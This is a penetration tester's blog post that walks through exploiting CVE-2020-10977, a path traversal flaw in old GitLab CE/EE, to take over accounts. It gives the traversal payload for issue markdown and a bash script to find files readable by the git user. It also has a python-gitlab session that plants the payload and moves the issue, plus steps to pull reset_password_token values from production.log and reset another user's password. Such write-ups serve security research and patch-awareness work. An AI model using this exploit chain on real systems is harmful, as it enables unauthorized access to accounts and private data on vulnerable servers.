Exploiting CVE-2020-10977 on Old Versions of GitLab CE/EE
In this post I will demonstrate how CVE-2020-10977 path traversal vulnerability can be exploited on old versions of GitLab to drop a registered user’s password.
- TL;DR
- GitLab Env Info
- Prologue
- An Attempt to Exploit LFI
- Explore the Source Code
- Locate All the git Accessible Files
- Changing a User’s Password
TL;DR
According to NIST, GitLab CE/EE versions 8.5 <= 12.9
are affected by CVE-2020-10977 path traversal vulnerability. In real-life scenarios GitLab versions 8.5 <= 11.0.2
will not let an adversary to leverage this vulnerability to perform LFI attack for an arbitrary file: due to permission aspects it is only possible to include local files which are readable & writable by git
user and which are located in a directory that allows git
to create subdirectories in.
For a default GitLab installation there are a couple of such files:
/var/log/gitlab/gitlab-rails/production_json.log
/var/log/gitlab/gitlab-rails/production.log
/var/log/gitlab/gitlab-rails/application.log
/var/log/gitlab/gitlab-shell/gitlab-shell.log
/var/log/gitlab/unicorn/unicorn_stdout.log
/var/log/gitlab/unicorn/unicorn_stderr.log
/var/opt/gitlab/gitlab-monitor/gitlab-monitor.yml
/var/opt/gitlab/gitlab-workhorse/config.toml
/var/opt/gitlab/.ssh/authorized_keys
/opt/gitlab/var/unicorn/unicorn.pid
The production.log
file contains secret reset_password_token
values that are generated as a result of requesting a password change for a registered user. These values can be used to drop a user’s password.
GitLab Env Info
Tested on GitLab CE v9.5.1:
root@gitlab:~# gitlab-rake gitlab:env:info
System information
System:
Current User: git
Using RVM: no
Ruby Version: 2.3.3p222
Gem Version: 2.6.6
Bundler Version:1.13.7
Rake Version: 12.0.0
Redis Version: 3.2.5
Git Version: 2.13.5
Sidekiq Version:5.0.4
Go Version: unknown
GitLab information
Version: 9.5.1
Revision: c47ae37
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: postgresql
URL: http://gitlab.local
HTTP Clone URL: http://gitlab.local/some-group/some-project.git
SSH Clone URL: git@gitlab.local:some-group/some-project.git
Using LDAP: no
Using Omniauth: no
GitLab Shell
Version: 5.8.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
Hooks: /opt/gitlab/embedded/service/gitlab-shell/hooks
Git: /opt/gitlab/embedded/bin/git
Prologue
Remark: I’m pretty sure all this stuff has already been disscussed many times, but anyways, in case someone did not know about this attack vector…
There was an engagement taking place recently where a relatively old version of GitLab CE (v9.5.1) was being used in the client’s environment.
Two widely known attack vectors that are worth trying on vulnerable versions of GitLab are:
-
8.18 < 11.3.11
/11.4 < 11.4.8
/11.5 < 11.5.1
: the “SSRF > Redis > RCE” killchain that leverages weak IP filtering in GitLab’s project integrations to trigger a localhttp://
(orgit://
) request to Redis (SSRF), and then abuses the CLRF vulnerability to fool Redis and execute commands with GitlabShellWorker (GitLab system hooks). The CVE IDs are: CVE-2018-19571 for SSRF and CVE-2018-19585 for CLRF. @LiveOverflow has a great video on this topic. -
8.5 <= 12.9
: the “Path Traversal > LFI > RCE” killchain that exploits GitLab’s issue moving functionality to achieve local file inclusion, readsecret_key_base
, sign a malicious cookie with it and trigger the evil payload deserialization. The RCE part is possible only for versions starting from12.4
when the vulnerableexperimentation_subject_id
cookie was introduced. The CVE ID for LFI is CVE-2020-10977.
The first attack was not an option for me, because there was no Redis instance running on the server (although the SSRF issue could still be shown). The second attack seemed like an excellent way to demonstrate the risks of ignoring 3rd-party software fixes, even though we can only achieve LFI…
But can we, by the way?
An Attempt to Exploit LFI
Some cool analysis of the CVE-2020-10977 vulnerability can be found in this ][ article, so I will use it as a basis for my experiments.
I will download and run GitLab CE v9.5.1 in docker to reproduce working environment during the penetration test, add gitlab.local
to my hosts file on Kali and navigate to http://gitlab.local/
in browser (it can take a couple of minutes for GitLab to start all of its services):
$ docker run --rm -d -h gitlab.local -p 80:80 --name gitlab9 gitlab/gitlab-ce:9.5.1-ce.0
After builtin admin’s password is set, I will register a new user account, sign in and create 2 projects: project1
and project2
.
To exploit CVE-2020-10977 I will create a new issue in project1
and trigger “Move to a different project” functionality to move the issue to project2
. The body of the issue contains a standard for CVE-2020-10977 LFI payload:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../etc/passwd)
Here is where the error occurs.
Looking at the request in Burp, we can see that server answers with 500 Internal Server Error
.
I will jump into the container and check /var/log/gitlab/gitlab-rails/production.log
.
As you can tell from the screenshot above, a TypeError
exception is raised when trying to move the issue. Let’s dive into the source code to figure out what’s actually going on.
Explore the Source Code
I followed the same trace as did aLLy here (but for version 9.5.1 this time), and the key difference was found in lib/gitlab/gfm/uploads_rewriter.rb
:
01: require 'fileutils'
03: module Gitlab
04: module Gfm
...
12: class UploadsRewriter
...
19: def rewrite(target_project)
20: return @text unless needs_rewrite?
21:
22: @text.gsub(@pattern) do |markdown|
23: file = find_file(@source_project, $~[:secret], $~[:file])
24: return markdown unless file.try(:exists?)
25:
26: new_uploader = FileUploader.new(target_project)
27: with_link_in_tmp_dir(file.file) do |open_tmp_file|
28: new_uploader.store!(open_tmp_file)
29: end
30: new_uploader.to_markdown
31: end
32: end
...
54: # Because the uploaders use 'move_to_store' we must have a temporary
55: # file that is allowed to be (re)moved.
56: def with_link_in_tmp_dir(file)
57: dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
58: # The filename matters to Carrierwave so we make sure to preserve it
59: tmp_file = File.join(dir, File.basename(file))
60: File.link(file, tmp_file)
61: # Open the file to placate Carrierwave
62: File.open(tmp_file) { |open_file| yield open_file }
63: ensure
64: FileUtils.rm_rf(dir)
65: end
66: end
67: end
68: end
In GitLab before commit a47359bb (v11.0.3) file uploading is managed by the Carrierwave gem. For this purpose the with_link_in_tmp_dir
function exists.
When moving attachments from one issue to another, this function creates a temp directory with a hard link to the attachment being moved. The temp dir is created inside uploads
/ USER_NAME
/ PROJECT_NAME
/ DIRECTORY_HASH_NAME
directory which is owned by git
user, so the operation is completely legitimate. The attachments are also owned by git
, that’s why creating hard links is allowed as well.
But what will happen if someone attempts to treat as an attachment another file, that is not allowed to be read and modified by git
and is not located in a directory that allows git
to create subdirectories in? That’s right – 500 Internal Server Error
. You can look at it in action from the Ruby console.
For demonstration purposes I will test 3 copies of /etc/passwd
:
- the default
/etc/passwd
file itself, - a copy of
/etc/passwd
in/tmp
(name it/tmp/passwd1
), - a copy of
/etc/passwd
in/tmp
with0646
permissions set (name it/tmp/passwd2
).
root@gitlab:~# ls -la /etc/passwd
-rw-r--r-- 1 root root 1728 Aug 23 2017 /etc/passwd
root@gitlab:~# cp /etc/passwd /tmp/passwd1
root@gitlab:~# cp /etc/passwd /tmp/passwd2
root@gitlab:~# chmod 646 /tmp/passwd2
root@gitlab:~# ls -la /tmp/passwd*
-rw-r--r-- 1 root root 1728 Feb 20 18:59 /tmp/passwd1
-rw-r--rw- 2 root root 1728 Feb 20 18:59 /tmp/passwd2
root@gitlab:~# which irb
/opt/gitlab/embedded/bin/irb
root@gitlab:~# su - git
$ bash
git@gitlab:~$ /opt/gitlab/embedded/bin/irb
irb(main):001:0> require 'tmpdir'
=> true
1. /etc/passwd
:
irb(main):002:0> file = '/etc/passwd'
=> "/etc/passwd"
irb(main):003:0> dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
Errno::EACCES: Permission denied @ dir_s_mkdir - /etc/UploadsRewriter20210220-23528-3vzp3l
from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:86:in `mkdir'
from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:86:in `block in mktmpdir'
from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:130:in `create'
from /opt/gitlab/embedded/lib/ruby/2.3.0/tmpdir.rb:86:in `mktmpdir'
from (irb):3
from /opt/gitlab/embedded/bin/irb:11:in `<main>'
2. /tmp/passwd1
:
irb(main):004:0> file = '/tmp/passwd1'
=> "/tmp/passwd1"
irb(main):005:0> dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
=> "/tmp/UploadsRewriter20210220-23528-1cghep2"
irb(main):006:0> tmp_file = File.join(dir, File.basename(file))
=> "/tmp/UploadsRewriter20210220-23528-1cghep2/passwd1"
irb(main):007:0> File.link(file, tmp_file)
Errno::EPERM: Operation not permitted @ rb_file_s_link - (/tmp/passwd1, /tmp/UploadsRewriter20210220-23528-1cghep2/passwd1)
from (irb):7:in `link'
from (irb):7
from /opt/gitlab/embedded/bin/irb:11:in `<main>'
3. /tmp/passwd2
:
irb(main):008:0> file = '/tmp/passwd2'
=> "/tmp/passwd2"
irb(main):009:0> dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
=> "/tmp/UploadsRewriter20210220-23528-1orue96"
irb(main):010:0> tmp_file = File.join(dir, File.basename(file))
=> "/tmp/UploadsRewriter20210220-23528-1orue96/passwd2"
irb(main):011:0> File.link(file, tmp_file)
=> 0
git@gitlab:~$ ls -la /tmp/UploadsRewriter20210220-23528-1orue96
total 12
drwx------ 2 git git 4096 Feb 20 19:01 .
drwxrwxrwt 1 root root 4096 Feb 20 19:02 ..
-rw-r--rw- 2 root root 1728 Feb 20 18:59 passwd2
git@gitlab:~$ stat /tmp/UploadsRewriter20210220-23528-1orue96/passwd2
File: '/tmp/UploadsRewriter20210220-23528-1orue96/passwd2'
Size: 1728 Blocks: 8 IO Block: 4096 regular file
Device: 34h/52d Inode: 3811797 Links: 2
Access: (0646/-rw-r--rw-) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2021-02-20 18:59:02.589888858 +0000
Modify: 2021-02-20 18:59:02.589888858 +0000
Change: 2021-02-20 19:01:12.657888228 +0000
Birth: -
As expected only /tmp/passwd2
will be successfully processed by with_link_in_tmp_dir
function.
To make sure that path traversal really works I will add a couple of debug statements to uploads_rewriter.rb
and run scenario 1 and 3 live.
...
56: def with_link_in_tmp_dir(file)
57: File.write('/tmp/gitlab.log', "1. #{file}\n", mode: 'a') # <== DEBUG
58: dir = Dir.mktmpdir('UploadsRewriter', File.dirname(file))
59: File.write('/tmp/gitlab.log', "2. #{dir}\n", mode: 'a') # <== DEBUG
60: # The filename matters to Carrierwave so we make sure to preserve it
61: tmp_file = File.join(dir, File.basename(file))
62: File.write('/tmp/gitlab.log', "3. #{tmp_file}\n", mode: 'a') # <== DEBUG
63: File.link(file, tmp_file)
64: # Open the file to placate Carrierwave
65: File.open(tmp_file) { |open_file| yield open_file }
66: ensure
67: FileUtils.rm_rf(dir)
68: end
69: end
70: end
71: end
# Run "gitlab-ctl reconfigure && gitlab-ctl restart" for the changes to take affect
In the GIF below (clickable) I try to include /etc/passwd
(which obviously fails), and then I successfully include /tmp/passwd2
. Debug output is read from /tmp/gitlab.log
.
Locate All the git Accessible Files
Let’s find all files that can potentially be read via CVE-2020-10977 excluding git repository files in /var/opt/gitlab/git-data/repositories
. Run it as git
user:
#!/usr/bin/env bash
for file in `find / -type f -readable -writable 2>/dev/null | grep -v -e proc -e repositories`; do
dname=`dirname $file`
owner=`stat -c'%U' $dname`
if [ $owner = "git" ]; then
echo $file
fi
done
# /var/log/gitlab/gitlab-rails/production_json.log
# /var/log/gitlab/gitlab-rails/production.log
# /var/log/gitlab/gitlab-rails/application.log
# /var/log/gitlab/gitlab-shell/gitlab-shell.log
# /var/log/gitlab/unicorn/unicorn_stdout.log
# /var/log/gitlab/unicorn/unicorn_stderr.log
# /var/opt/gitlab/gitlab-monitor/gitlab-monitor.yml
# /var/opt/gitlab/gitlab-workhorse/config.toml
# /var/opt/gitlab/.ssh/authorized_keys
# /opt/gitlab/var/unicorn/unicorn.pid
A potential adversary can grab /var/log/gitlab/gitlab-rails/production.log
in a hunt for private repository names. But, unfortunately, these names cannot be used to pillage the repo contents like it’s implemented in these tools (1, 2, 3, 4), because git object files are not writable by git
user:
git@gitlab:~/git-data/repositories/snovvcrash/testing.git$ find . -type f -ls
4076646 4 -rw-r--r-- 1 git git 73 Feb 20 20:27 ./description
4076700 4 -r--r--r-- 1 git git 54 Feb 20 20:27 ./objects/6d/0766474b191be6f96e2d6f2700cfda931972cb <== NOT WRITABLE
4076702 4 -r--r--r-- 1 git git 128 Feb 20 20:27 ./objects/45/f3aa4c8dbdc678acad919f135481734b02fc7b <== NOT WRITABLE
4076698 4 -r--r--r-- 1 git git 29 Feb 20 20:27 ./objects/c2/8679c4b723f6be660c1be95cd8e1cfccde03ce <== NOT WRITABLE
4076664 4 -rw-r--r-- 1 git git 66 Feb 20 20:27 ./config
4076648 4 -rwxr-xr-x 1 git git 3610 Feb 20 20:27 ./hooks.old.1613852846/update.sample
4076649 4 -rwxr-xr-x 1 git git 424 Feb 20 20:27 ./hooks.old.1613852846/pre-applypatch.sample
4076650 4 -rwxr-xr-x 1 git git 478 Feb 20 20:27 ./hooks.old.1613852846/applypatch-msg.sample
4076651 4 -rwxr-xr-x 1 git git 1642 Feb 20 20:27 ./hooks.old.1613852846/pre-commit.sample
4076652 4 -rwxr-xr-x 1 git git 189 Feb 20 20:27 ./hooks.old.1613852846/post-update.sample
4076653 8 -rwxr-xr-x 1 git git 4898 Feb 20 20:27 ./hooks.old.1613852846/pre-rebase.sample
4076654 4 -rwxr-xr-x 1 git git 896 Feb 20 20:27 ./hooks.old.1613852846/commit-msg.sample
4076655 4 -rwxr-xr-x 1 git git 544 Feb 20 20:27 ./hooks.old.1613852846/pre-receive.sample
4076656 4 -rwxr-xr-x 1 git git 1348 Feb 20 20:27 ./hooks.old.1613852846/pre-push.sample
4076657 4 -rwxr-xr-x 1 git git 1239 Feb 20 20:27 ./hooks.old.1613852846/prepare-commit-msg.sample
4076659 4 -rw-r--r-- 1 git git 240 Feb 20 20:27 ./info/exclude
4076663 4 -rw-r--r-- 1 git git 23 Feb 20 20:27 ./HEAD
4076704 4 -rw-r--r-- 1 git git 41 Feb 20 20:27 ./refs/heads/master
So what else can be done when you possess the log files How about changing someone’s password?
Changing a User’s Password
I will install python-gitlab to interact with GitLab API and perform the attack from command line. To do this I will first need to generate an access token as described here. Also, I can use this exploit as a cheat sheet for python-gitlab classes and methods.
Now I want to get production.log
for the first time to extract some user emails:
Python 3.9.1 (default, Dec 8 2020, 07:51:42)
>>> import requests
>>> from gitlab import *
>>> session = requests.Session()
>>> session.verify = False
>>> host = 'http://gitlab.local'
>>> gl = Gitlab(host, private_token='B-XXqsurLyn5yPsXmrER', session=session)
>>> gl.auth()
>>> p1 = gl.projects.create({'name': 'project-1'})
>>> p2 = gl.projects.create({'name': 'project-2'})
>>> issue = p1.issues.create({'title': 'project-1-issue', 'description': '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../var/log/gitlab/gitlab-rails/production.log)'})
>>> issue.description
'![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../var/log/gitlab/gitlab-rails/production.log)'
>>> issue.move(p2.id)
As an alternative, you can reset builtin admin’s password if his email is left default admin@example.com
.
Next, I will trigger a password reset for a discovered user via /users/password/new
endpoint.
Now I will download production.log
for the second time to extract the reset_password_token
value.
From here I can navigate to http://gitlab.local/users/password/edit?reset_password_token=<TOKEN_VALUE>
and set a new password for this user.
As a conclusion, I just want to mention that it’s definitely not even a little bit ethical to change a developer’s password on a production GitLab instance, so the customer must be informed before any changes are made.
Happy hacking!